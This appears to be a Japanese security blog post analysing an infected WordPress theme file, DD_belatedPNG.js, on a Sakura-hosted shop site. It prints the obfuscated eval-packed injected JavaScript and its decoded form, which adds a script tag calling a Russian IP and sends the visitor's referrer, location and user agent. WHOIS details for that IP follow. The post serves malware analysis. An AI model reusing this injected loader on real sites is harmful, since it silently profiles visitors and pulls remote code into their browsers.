#OCJP-063： 「182.48.9.228/glamb.sakura.ne.jp」の変な感染コード…

では、さくっと！下記のURL↓
h00p://glamb.sakura.ne.jp/glamb_shop/wd/wp-content/themes/main-fi
es/humax/js/DD_belatedPNG.js
ダウンロードしたら↓
//fetch...
--21:27:39--  h00p://glamb.sakura.ne.jp/glamb_shop/wd/wp-content/themes/main-fi
es/humax/js/DD_belatedPNG.js
           => `DD_belatedPNG.js'
Resolving glamb.sakura.ne.jp... 182.48.9.228
Connecting to glamb.sakura.ne.jp|182.48.9.228|:80... connected.
h00p request sent, awaiting response... 200 OK
Length: 14,576 （14K) [application/javascript]
100%[====================================>] 14,576        --.--K/s
21:27:41 （325.37 KB/s) - `DD_belatedPNG.js' saved [14576/14576]
下記のコードを発見↓
// contanins what looks like malicious code in DD_belatedPNG.js 
var _0x4470=["\ｘ39\ｘ3D\ｘ31\ｘ2E\ｘ64\ｘ28\ｘ27\ｘ35\ｘ27\ｘ29\ｘ3B\ｘ62\ｘ28\ｘ21\ｘ39\ｘ29\
x7B\ｘ38\ｘ3D\ｘ31\ｘ2E\ｘ6A\ｘ3B\ｘ34\ｘ3D\ｘ36\ｘ28\ｘ31\ｘ2E\ｘ69\ｘ29\ｘ3B\ｘ37\ｘ3D\ｘ36\ｘ28
\ｘ67\ｘ2E\ｘ6B\ｘ29\ｘ3B\ｘ61\ｘ20\ｘ32\ｘ3D\ｘ31\ｘ2E\ｘ65\ｘ28\ｘ27\ｘ63\ｘ27\ｘ29\ｘ3B\ｘ32\ｘ2
　　：
C\ｘ31\ｘ39\ｘ36\ｘ7C\ｘ36\ｘ34\ｘ7C\ｘ68\ｘ74\ｘ74\ｘ70","\ｘ72\ｘ65\ｘ70\ｘ6C\ｘ61\ｘ63\ｘ65","
","\ｘ5C\ｘ77\ｘ2B","\ｘ5C\ｘ62","\ｘ67"];eval（function （_0xa064x1,_0xa064x2,_0xa064x
3,_0xa064x4,_0xa064x5,_0xa064x6)｛_0xa064x5=function （_0xa064x3)｛return _0xa064x
3.toString（36);｝ ;if（!_0x4470[5][_0x4470[4]]（/^/,String))｛while（_0xa064x3--)｛_0
xa064x6[_0xa064x3.toString（_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString
（_0xa064x2);｝ ;_0xa064x4=[function （_0xa064x5)｛return _0xa064x6[_0xa064x5];｝ ];
_0xa064x5=function （)｛return _0x4470[6];｝ ;_0xa064x3=1;｝ ;while（_0xa064x3--)｛if
（_0xa064x4[_0xa064x3])｛_0xa064x1=_0xa064x1[_0x4470[4]]（ new RegExp（_0x4470[7]+_
0xa064x5（_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);｝ ;｝ ;return _
0xa064x1;｝ （_0x4470[0],33,33,_0x4470[3][_0x4470[2]]（_0x4470[1]),0,｛｝));
解けたら↓
element=document.getElementById（'dgllhguk');if（!element)｛hghjghjhjgjh=document.
location;hghjhjhjg=escape（document.referrer);ugkkjkj=escape（navigator.userAgent
);var js=document.createElement（'script');js.id='dgllhguk';js.src='h00p://91.19
6.216.64/s.php?ref='+hghjhjhjg+'&lc='+hghjghjhjgjh+'&ua='+ugkkjkj;var head=docu
ment.getElementsByTagName（'head')[0];head.appendChild（js)｝
読みにくい…、綺麗にすると↓
element=document.getElementById（'dgllhguk');
 if（!element)
 ｛
   hghjghjhjgjh=document.location;
   hghjhjhjg=escape（document.referrer);
   ugkkjkj=escape（navigator.userAgent);
   var js=document.createElement（'script');
   js.id='dgllhguk';
   js.src='h00p://91・196・216・64/s.php?ref='+hghjhjhjg+'&lc='+hghjghjhjgjh+'&ua='+ugkkjkj;
   var head=document.getElementsByTagName（'head')[0];
   head.appendChild（ｊs) ｝
もう少し頑張ったら↓
h00p://91・196・216・64/s.php?ref=referrer&cls=colorDepth&\
      sw=width&sh=height&dc=charset&lc=location&ua=userAgent
↑びみような感じ…こんなコードだけだと何故か汚いやり方でやったわけかよ…
何物かと…
IP:             91.196.216.64  //ロシア
inetnum:        91.196.216.0 - 91.196.219.255
netname:        SPETSENERGO-NET
descr:         SpetsEnergo Ltd.
現在は：
91.196.216.64 [host down]
になった。